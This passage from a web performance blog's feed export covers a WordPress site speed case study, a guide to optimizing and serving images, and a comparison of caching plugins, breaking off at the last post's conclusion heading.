&lt;p&gt;GTMetrix - 9.86 sec&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Webpagetest.org - 24.14 sec&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;page-size&quot;&gt;Page size&lt;/h2&gt;
&lt;p&gt;Different tools show different data:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;YSlow: 3096.5 bytes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Pingdom Tools: 4.0 MB&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;GTMetrix: 3.88 MB&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Webpagetesst.org: 3.816 KB&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I’m gonna use only one tool further, YSlow.&lt;/p&gt;
&lt;h2 id=&quot;components&quot;&gt;Components&lt;/h2&gt;
&lt;p&gt;Too many http requests: 51. 51 is not huge but it can be improved.&lt;/p&gt;
&lt;h3 id=&quot;javascript&quot;&gt;Javascript&lt;/h3&gt;
&lt;p&gt;There’s 15 js files, total size 627.1K:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://apis.google.com/js/plusone.js&quot;&gt;https://apis.google.com/js/plusone.js&lt;/a&gt; - 22.9 k&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://platform.twitter.com/widgets.js&quot;&gt;http://platform.twitter.com/widgets.js&lt;/a&gt; - 80.7 k&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://www.google-analytics.com/ga.js&quot;&gt;http://www.google-analytics.com/ga.js&lt;/a&gt; - 37.3 k&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://edge.quantserve.com/quant.js&quot;&gt;http://edge.quantserve.com/quant.js&lt;/a&gt; - 5.8 k&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://manofmany.com/wp-content/themes/clearly/library/js/modernizr.full.min.js&quot;&gt;http://manofmany.com/wp-content/themes/clearly/library/js/modernizr.full.min.js&lt;/a&gt; - 13.6 k&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://manofmany.com/wp-content/themes/clearly/library/js/jquery.fitvids.js&quot;&gt;http://manofmany.com/wp-content/themes/clearly/library/js/jquery.fitvids.js&lt;/a&gt;?… - 2.7 k&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://manofmany.com/wp-content/themes/clearly/library/js/scripts.js&quot;&gt;http://manofmany.com/wp-content/themes/clearly/library/js/scripts.js&lt;/a&gt;?… - 7.1 k&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://s3.buysellads.com/ac/bsa.js&quot;&gt;http://s3.buysellads.com/ac/bsa.js&lt;/a&gt; - 16.1 k&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://s3.buysellads.com/r/s%5C_74ca33a0013c12e56d70fc5c06b96646.js&quot;&gt;http://s3.buysellads.com/r/s\_74ca33a0013c12e56d70fc5c06b96646.js&lt;/a&gt;?… - 2.1 k&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://pagead2.googlesyndication.com/pagead/show%5C_ads.js&quot;&gt;http://pagead2.googlesyndication.com/pagead/show\_ads.js&lt;/a&gt; - 13.9 k&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://manofmany.com/wp-content/plugins/contact-form-7/includes/js/jquery.form.min.js&quot;&gt;http://manofmany.com/wp-content/plugins/contact-form-7/includes/js/jquery.form.min.js&lt;/a&gt;?… - 15.1 k&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://manofmany.com/wp-content/plugins/contact-form-7/includes/js/scripts.js&quot;&gt;http://manofmany.com/wp-content/plugins/contact-form-7/includes/js/scripts.js&lt;/a&gt;?… - 6.9 k&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://apis.google.com/.../cb=gapi.loaded%5C_0&quot;&gt;https://apis.google.com/…/cb=gapi.loaded\_0&lt;/a&gt; - 129.7 k&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://manofmany.com/wp-includes/js/jquery/jquery.js&quot;&gt;http://manofmany.com/wp-includes/js/jquery/jquery.js&lt;/a&gt;?… - 93.6 k&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://connect.facebook.net/en%5C_GB/all.js#xfbml=1&amp;#x26;appId=363084773773073&quot;&gt;http://connect.facebook.net/en\_GB/all.js#xfbml=1&amp;#x26;appId=363084773773073&lt;/a&gt; - 178.9 k&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;JQuery.js could be loaded from Google Library for better speed.&lt;/p&gt;
&lt;p&gt;The biggest issue is with the social media JS files; they’re definitely not using the best plugin for social media sharing. It could be done with a single JS of 38.5 k or even scriptless.&lt;/p&gt;
&lt;p&gt;That’s going to shave off 249.6K and leave the JS number at 11. It’s a considerable improvement on page size.&lt;/p&gt;
&lt;h3 id=&quot;css&quot;&gt;CSS&lt;/h3&gt;
&lt;p&gt;There’s 12 css files with a total size of 63.7K.&lt;/p&gt;
&lt;p&gt;The size is not that much but the number is kinda high.&lt;/p&gt;
&lt;p&gt;3 files can be combined into one: the theme styles.css and the plugins Easy Columns and Contact Form.&lt;/p&gt;
&lt;p&gt;The rest are fonts loaded from Google Library so the question here is : do you really need 9 fonts?&lt;/p&gt;
&lt;p&gt;Usually, you should be using 2 fonts: one for headings and one for body text.&lt;/p&gt;
&lt;p&gt;PT Sans and Open Sans are not that different so you could be using just one of the 2.&lt;/p&gt;
&lt;p&gt;Lora and PT Serif - same as above, use only one or just use Georgia (it’s a beautiful websafe font).&lt;/p&gt;
&lt;p&gt;Nixie One - I don’t see it in use on the site.&lt;/p&gt;
&lt;p&gt;For fonts that are used rarely it doesn’t make sense to load them every time, just use system fonts: Georgia, Arial, Courier.&lt;/p&gt;
&lt;p&gt;That is gonna improve the requests from 12 to just 3-4, size improvements are not that big but it adds up.&lt;/p&gt;
&lt;h3 id=&quot;images&quot;&gt;Images&lt;/h3&gt;
&lt;p&gt;That’s the biggest issue of the website with the biggest impact on speed: 18 images, total size of 2597.5 K.&lt;/p&gt;
&lt;p&gt;That is huge; they need to optimize the pictures before uploading them.&lt;/p&gt;
&lt;p&gt;The biggest image on site has 420K and a simple smush.it shows that it can be improved by 27.6%, that’s 104K right there.&lt;/p&gt;
&lt;p&gt;If we can improve all by 25%, that’s over 600K weight loss.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Solutions:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;1. Optimizing images&lt;/p&gt;
&lt;p&gt;Use Photoshop and Save for the web at 60% and progressive checked. If your visitors use chrome, firefox or IE9 progressive jpgs load superfast. For the rest, it will be a little slower than normal jpgs.&lt;/p&gt;
&lt;p&gt;Otherwise just Save for the web at 60%-80% and optimized check. This saves normal jpgs.&lt;/p&gt;
&lt;p&gt;After that proceed with uploading images to Wordpress.&lt;/p&gt;
&lt;p&gt;No Photoshop?&lt;/p&gt;
&lt;p&gt;Use jpegmini.com to optimize images before uploading or just use a WP plugin to do it automatically on upload.&lt;/p&gt;
&lt;p&gt;2. Serving images&lt;/p&gt;
&lt;p&gt;Serve static content from a cookieless domain &amp;#x26; parallelize downloads across hostnames.&lt;/p&gt;
&lt;p&gt;Those 2 things can be achieved by loading images from a cookieless subdomain, something like images.manofmany.com.&lt;br&gt;
Now, the browser can download multiple items at once improving the speed of the website.&lt;/p&gt;
&lt;p&gt;Lazy loading&lt;/p&gt;
&lt;p&gt;This means images will load one-by-one and visible to the users only when necessary.&lt;/p&gt;
&lt;p&gt;They are loaded when they are visible in browser viewport only.&lt;/p&gt;
&lt;p&gt;By loading only images above the fold, the speed gain is significant.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Other stuff you can do&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;- browser caching&lt;br&gt;
- combine js ( if possible)&lt;br&gt;
- add expires header&lt;br&gt;
- compress with gzip&lt;br&gt;
- using etags&lt;br&gt;
- Profiling plugins to see which impacts the loading time and replace with better plugins&lt;br&gt;
- Use code in functions.php instead of plugins for simple stuff like loading Google Fonts&lt;br&gt;
- solve 404 errors&lt;br&gt;
- minimize redirects&lt;br&gt;
- load javascript at the bottom of the page&lt;br&gt;
- you can use just 5 posts per page instead of 10&lt;br&gt;
- you could use smaller pictures like thumbnails but that means interfering with the design&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Most of it, it’s just simple things that can make a huge impact.&lt;/p&gt;
&lt;p&gt;For a more advanced optimization, we should look at the theme and plugins and check if there are performance issues.&lt;/p&gt;</content:encoded><category>Case Studies</category><author>Andrei Chira</author></item><item><title>How to optimize images for the web</title><link>https://kiravo.net/blog/optimize-your-images/</link><guid isPermaLink="true">https://kiravo.net/blog/optimize-your-images/</guid><description>How to size, compress, and serve images properly on the web, the tools that help on upload, and the originals you should be deleting.</description><pubDate>Sun, 18 Feb 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;One of the factors that might slow down your website is using big photos that are unoptimized for the web.&lt;/p&gt;
&lt;p&gt;Sometimes when people try to publish something quickly, they upload photos directly from their photo cameras, at very high resolution, pictures that weight as much as 4-5 MB.&lt;/p&gt;
&lt;p&gt;An optimized image has fewer kilobytes without any visible quality loss, and you should always optimize pictures without losing quality before or during uploading them to your site.&lt;/p&gt;
&lt;p&gt;No matter if your site is WordPress or another platform you can optimize images for the web and make your website load faster.&lt;/p&gt;
&lt;p&gt;One advantage of using WordPress is that you have plugins that can optimize images as you upload them to your site and also optimize in bulk existing images.&lt;/p&gt;
&lt;p&gt;So, what are the best practices regarding photos?&lt;/p&gt;
&lt;h2 id=&quot;dont-lose-quality&quot;&gt;Don’t lose quality&lt;/h2&gt;
&lt;p&gt;Follow your website’s objectives. Don’t optimize blindly just because some tool gave you a bad score. Tools don’t know your site goals.&lt;/p&gt;
&lt;p&gt;If I had a fashion blog or a shop, I would show beautiful images; I don’t care what YSlow or Pagespeed Insights graded me.&lt;/p&gt;
&lt;p&gt;Don’t get hung up on grades and scores, do what’s best for you and your visitors. Best to spend more on CDN to serve bigger, better images, than to over-optimize pictures and have an ugly website.&lt;/p&gt;
&lt;p&gt;It might cost you visitors and money.&lt;/p&gt;
&lt;h2 id=&quot;dont-upload-images-bigger-than-you-need&quot;&gt;Don’t upload images bigger than you need&lt;/h2&gt;
&lt;p&gt;If your content width is 620px, then you should resize your images to 620px width before you upload them to your website.&lt;/p&gt;
&lt;p&gt;If you want visitors to see a bigger image when they click on it, then you can use a 1024px width. Set one of the WordPress thumbnails to be 620px width and use that thumbnail on your page and link it to the bigger image.&lt;/p&gt;
&lt;p&gt;You probably don’t need images higher than 1024px (that should be enough for most blogs) but what if you do?&lt;/p&gt;
&lt;p&gt;In that case, you might consider uploading images at larger resolutions and use a CDN.&lt;/p&gt;
&lt;p&gt;We’ll get more into detail about CDN in a minute.&lt;/p&gt;
&lt;h2 id=&quot;optimize-images-before-you-upload&quot;&gt;Optimize images before you upload&lt;/h2&gt;
&lt;p&gt;You can optimize your images on your computer with Photoshop. Some people recommend you make your image a bit sharper with Smart Sharpen, Unsharp Mask, High Pass Filter, or whatever tool you like; Photoshop has multiple options.&lt;/p&gt;
&lt;p&gt;I haven’t seen much of a difference (in KB) after sharpening, but I’m not a Photoshop master.&lt;/p&gt;
&lt;p&gt;Resize the photo to the resolution you need on your website, use Save for the web, choose JPG, Quality between 60-80%, check Progressive then Save.&lt;/p&gt;
&lt;p&gt;I recommend you use JPG unless you need transparency and need to use PNG.&lt;/p&gt;
&lt;p&gt;If you don’t have Photoshop you can use these tools for optimizing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://riot-optimizer.com/&quot;&gt;Riot&lt;/a&gt; (Windows)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://imageoptim.com/mac&quot;&gt;Imageoptim&lt;/a&gt; (Mac)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.jpegmini.com/&quot;&gt;Jpegmini&lt;/a&gt; (online, Mac &amp;#x26; Windows)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://kraken.io/web-interface&quot;&gt;Kraken&lt;/a&gt; (online)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://compressor.io/&quot;&gt;Compressor.io&lt;/a&gt; (online)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I use Jpegmini myself; I can still shave off another 5-10% even after optimizing with Photoshop first.&lt;/p&gt;
&lt;h2 id=&quot;or-optimize-during-the-upload&quot;&gt;Or optimize during the upload&lt;/h2&gt;
&lt;p&gt;I don’t believe there’s one way that’s the best way to optimize images, if you don’t want to spend the time to optimize your photos on your computer before you upload them, you can choose to let a WordPress plugin do all the work for you.&lt;/p&gt;
&lt;p&gt;There are many WordPress plugins you can use:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/wp-smushit/&quot;&gt;WP Smush - Image Optimization&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://shortpixel.com&quot;&gt;ShortPixel Image Optimizer&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/kraken-image-optimizer/&quot;&gt;Kraken.io Image Optimizer&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/optimus/&quot;&gt;Optimus- WordPress Image Optimizer&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/ewww-image-optimizer-cloud/&quot;&gt;EWWW Image Optimizer Cloud&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/imagify/&quot;&gt;Imagify Image Optimizer&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With these plugins, you can optimize images on upload, and also optimize the ones you already have uploaded.&lt;/p&gt;
&lt;p&gt;I haven’t used them all, only WP Smush and ShortPixel, and I found ShortPixel to be excellent. It can shave off some KB even for images previously optimized with Photoshop and Jpegmini.&lt;/p&gt;
&lt;p&gt;Another useful plugin is &lt;a href=&quot;https://wordpress.org/plugins/imsanity/&quot;&gt;Imsanity&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you have a multi-author site, then you need to control what images people upload. Set a max width, height, and quality. When a user uploads an image that is larger, the plugin will automatically scale it down to the configured size.&lt;/p&gt;
&lt;p&gt;WP Smush Pro also does that.&lt;/p&gt;
&lt;h2 id=&quot;displaying-images&quot;&gt;Displaying images&lt;/h2&gt;
&lt;p&gt;Now that you have optimized images you can also improve the way you present these images on your website.&lt;/p&gt;
&lt;p&gt;If you have a lot of photos on a page, like on a fashion blog, for example, you can take advantage of lazy loading.&lt;/p&gt;
&lt;p&gt;That means your images will load only when they’re visible, as the visitor scrolls down.&lt;/p&gt;
&lt;p&gt;You can use one of the following WordPress plugins for that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/lazy-load/&quot;&gt;Lazy Load&lt;/a&gt; &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/bj-lazy-load/&quot;&gt;BJ Lazy Load&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/rocket-lazy-load/&quot;&gt;Rocket Lazy Load&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/image-lazy-load/&quot;&gt;Image Lazy Load&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/wpparse-lazy-load/&quot;&gt;WPParse Lazy Load&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I can’t tell you which plugin is better. You need to test because there might be incompatibilities with your theme. For example, lazy loading doesn’t work for featured images if you have a Genesis Framework theme.&lt;/p&gt;
&lt;p&gt;Also, as I was testing lazy loading, it looked weird on mobile. There were blank spaces where photos should have been because pictures were not loading as fast as they did on desktop view.&lt;/p&gt;
&lt;p&gt;Another thing you can do to speed up loading time is to serve images from a subdomain, like images.domain.com.&lt;/p&gt;
&lt;p&gt;You need to create a subdomain from cPanel or whatever control panel your hosting company is offering and then setup WordPress to load media from that subdomain using the &lt;a href=&quot;https://wordpress.org/plugins/wp-original-media-path/&quot;&gt;WP Original Media Path&lt;/a&gt; plugin.&lt;/p&gt;
&lt;p&gt;I can write a detailed blog post for people who want to do that (if anyone requests it) but my recommendation is to use a CDN instead. It’s a much more straightforward solution.&lt;/p&gt;
&lt;h3 id=&quot;use-a-cdn&quot;&gt;Use a CDN&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cloudflare.com/&quot;&gt;Cloudflare&lt;/a&gt; is super easy and free. You just change your domain nameservers to Cloudflare and activate (check orange cloud for DNS entries), and that’s it. Your static files (images, CSS, JS) will load from the Cloudflare CDN.&lt;/p&gt;
&lt;p&gt;There are other CDN companies you can use, listed below. But I think Cloudflare is the easiest to implement:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.keycdn.com/&quot;&gt;KeyCDN&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.maxcdn.com/&quot;&gt;MaxCDN&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.cdn77.com/&quot;&gt;CDN77&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;clean-up-after-yourself&quot;&gt;Clean up after yourself&lt;/h2&gt;
&lt;p&gt;Every time you switch themes you leave behind a trail of unused thumbnails and database entries related to those images.&lt;/p&gt;
&lt;p&gt;When switching themes, you can use the &lt;a href=&quot;https://wordpress.org/plugins/ajax-thumbnail-rebuild/&quot;&gt;AJAX Thumbnail Rebuild&lt;/a&gt; plugin to rebuild thumbnails to fit your new theme.&lt;/p&gt;
&lt;p&gt;Old thumbnails can be deleted from the server using one of the following plugins:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/image-cleanup/&quot;&gt;Image Cleanup&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/dnui-delete-not-used-image-wordpress/&quot;&gt;DNUI&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/thumbnail-cleaner/&quot;&gt;Thumbnail Cleaner&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I recommend Thumbnail Cleaner because it’s fast. But it removes all your thumbnails, not just unused ones. After it deletes, you must use the &lt;a href=&quot;https://wordpress.org/plugins/ajax-thumbnail-rebuild/&quot;&gt;AJAX Thumbnail Rebuild&lt;/a&gt; plugin to rebuild thumbnails that you need.&lt;/p&gt;
&lt;p&gt;The unused thumbnails don’t affect your website performance. They just occupy space on your server. But, there are database entries related to those thumbnails, and it is a good practice to keep your database as clean as possible.&lt;/p&gt;
&lt;p&gt;That’s what we’ll do in the next step - clean up the WordPress database.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://kiravo.net/clean-wordpress-database/&quot;&gt;next: database&lt;/a&gt;&lt;/p&gt;</content:encoded><category>Performance</category><author>Andrei Chira</author></item><item><title>WordPress caching: the complete guide</title><link>https://kiravo.net/blog/wordpress-caching/</link><guid isPermaLink="true">https://kiravo.net/blog/wordpress-caching/</guid><description>A side-by-side look at the main WordPress caching plugins like WP Super Cache, WP Rocket, and WP Fastest Cache, plus server-side options.</description><pubDate>Sun, 18 Feb 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The easiest thing you can do to make your WordPress pages load faster is to use a caching plugin.&lt;/p&gt;
&lt;p&gt;When you use a caching plugin, it creates a static version of your page when someone first visits that page. Next time someone visits it loads that static copy instead of getting the server to process all the PHP code and MySQL queries again.&lt;/p&gt;
&lt;p&gt;There’s no need to get into more details &amp;#x26; technical explanation about caching; you only need to know that caching is good and it helps your website to be faster &amp;#x26; more scalable.&lt;/p&gt;
&lt;p&gt;From my experience, using a cache plugin will not massively and magically speed up your website, but it will make it more scalable, especially in a shared hosting environment.&lt;/p&gt;
&lt;p&gt;So, scalability, not speed, is the main advantage of caching, in my opinion.&lt;/p&gt;
&lt;p&gt;There are a lot of WordPress caching plugins; I’m not going to list them all here. Some cache plugins have a lot of features but, from a cost-benefit point of view, page caching has the most significant impact on your website performance.&lt;/p&gt;
&lt;p&gt;So, if you want to improve your WordPress website’s speed &amp;#x26; scalability without doing too much configuration, page cache is the only feature you need.&lt;/p&gt;
&lt;p&gt;My list of recommended WordPress caching plugins:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/wp-super-cache/&quot;&gt;WP Super Cache&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wp-rocket.me/&quot;&gt;WP Rocket&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/wp-fastest-cache/&quot;&gt;WP Fastest Cache&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/hyper-cache/&quot;&gt;Hyper Cache&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/cache-enabler/&quot;&gt;Cache Enabler&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;wp-super-cache&quot;&gt;WP Super Cache&lt;/h2&gt;
&lt;p&gt;I recommend WP Super Cache because it is very user-friendly. It’s free and easy to get started with, even for a beginner.&lt;/p&gt;
&lt;p&gt;To set up WP Super Cache, install it, activate it, and go to Settings &gt; WP Super Cache and check “Cache on” then click the “Status update” button to enable the page cache feature.&lt;/p&gt;
&lt;p&gt;Gzip compression and browser cache also help, you can enable them from the Advanced tab.&lt;/p&gt;
&lt;h2 id=&quot;wp-rocket&quot;&gt;WP Rocket&lt;/h2&gt;
&lt;p&gt;It is a premium plugin, for one site it costs $39, but I think it is worth it if you want a complete caching solution that is easy to configure.&lt;/p&gt;
&lt;p&gt;Plugin features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;page caching&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;gzip compression&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;browser caching&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;CDN support&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Minification/concatenation of JS/CSS&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Defer JS loading&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Lazy Load&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cache preloading&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Google Fonts optimization&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I recommend this plugin because I like simple solutions. It requires almost no configuration, page caching is activated immediately, and that is enough to increase your website performance.&lt;/p&gt;
&lt;p&gt;If you want more, you can play around with all the features, but if you just want simple page caching, WP Rocket is a good option.&lt;/p&gt;
&lt;h2 id=&quot;wp-fastest-cache&quot;&gt;WP Fastest Cache&lt;/h2&gt;
&lt;p&gt;This is a popular plugin among shared hosting customers; it has a lot of features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;page caching&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;minify HTML&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;minify CSS&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;gzip compression&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;browser caching&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;combine CSS &amp;#x26; JS&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;CDN support&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To set up the plugin, install it, activate it, and go to the WP Fastest Cache admin menu item.&lt;/p&gt;
&lt;p&gt;In the Settings tab, you can enable the Cache System, Preload, Minify HTML, Minify CSS, Gzip, and Browser Caching options.&lt;/p&gt;
&lt;p&gt;That would be enough to make your website faster &amp;#x26; more scalable.&lt;/p&gt;
&lt;h2 id=&quot;hyper-cache&quot;&gt;Hyper Cache&lt;/h2&gt;
&lt;p&gt;The plugin’s developer says it was specifically written to work in low-resources hosting environments, like shared hosting plans.&lt;/p&gt;
&lt;p&gt;I found this to be true, on the shared hosting environment that I tested, websites that used Hyper Cache could sustain higher levels of traffic than sites with other caching plugins.&lt;/p&gt;
&lt;p&gt;When it comes to scalability, the only thing better than Hyper cache was caching at the server level.&lt;/p&gt;
&lt;p&gt;Hyper Cache doesn’t have all the features of other plugins, but it does very well what matters the most - page cache.&lt;/p&gt;
&lt;p&gt;To set up Hyper Cache, install it, activate it, and go to Settings &gt; Hyper Cache. There are many options you can configure but to keep it simple just “Enable compression” and “Allow browser caching.”&lt;/p&gt;
&lt;p&gt;However, there’s one thing I don’t like about Hyper Cache; you have to add code manually in wp-config.php.&lt;/p&gt;
&lt;p&gt;I’ve seen cases when people just install and activate the plugin, but the cache is not working because they missed the notice to insert the code manually.&lt;/p&gt;
&lt;p&gt;Except for that bad user experience, Hyper Cache is an excellent plugin for shared hosting environments.&lt;/p&gt;
&lt;h2 id=&quot;cache-enabler&quot;&gt;Cache Enabler&lt;/h2&gt;
&lt;p&gt;This is my recommendation if you have a shared hosting plan and the hosting company doesn’t offer caching at the server level.&lt;/p&gt;
&lt;p&gt;It’s a simple plugin that does just page cache. You can combine it with &lt;a href=&quot;https://wordpress.org/plugins/autoptimize/&quot;&gt;Autoptimize&lt;/a&gt; to minify and concatenate CSS and JS.&lt;/p&gt;
&lt;p&gt;Install, activate and forget it. Dead simple.&lt;/p&gt;
&lt;h3 id=&quot;why-no-w3-total-cache&quot;&gt;Why no W3 Total Cache?&lt;/h3&gt;
&lt;p&gt;Yes, I didn’t list the W3 Total Cache.&lt;/p&gt;
&lt;p&gt;It is a massive plugin, has a lot of options, I think it works best if you’re an advanced user who has a VPS or a dedicated server. I don’t recommend using it on a shared hosting plan.&lt;/p&gt;
&lt;p&gt;It’s not a bad plugin, but I’ve seen many clients configure it wrong. It’s best you choose a more straightforward solution unless you know what you’re doing.&lt;/p&gt;
&lt;h2 id=&quot;caching-at-server-level&quot;&gt;Caching at server level&lt;/h2&gt;
&lt;p&gt;This is not something you can do yourself; the hosting company does it.&lt;/p&gt;
&lt;p&gt;This solution, to cache at the server level, consumes fewer resources so it’s more efficient and will give you better performance than using a WordPress plugin.&lt;/p&gt;
&lt;p&gt;Some shared hosting companies use Litespeed + LSCache, and you need to install the &lt;a href=&quot;https://wordpress.org/plugins/litespeed-cache/&quot;&gt;Litespeed Cache&lt;/a&gt; plugin. No other caching plugins necessary. In my opinion, this is the best solution for shared hosting, if you’re looking for cheap shared hosting for your WordPress website I recommend you choose a company that uses Litespeed and LSCache.&lt;/p&gt;
&lt;p&gt;If you’re looking for better hosting than traditional shared, managed WordPress hosting companies handle caching themselves with Nginx FastCGI Cache, and you don’t need a caching plugin (or are not even allowed to install one).&lt;/p&gt;
&lt;p&gt;If you want performance without setting up anything yourself, managed WordPress hosting is the way to go.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
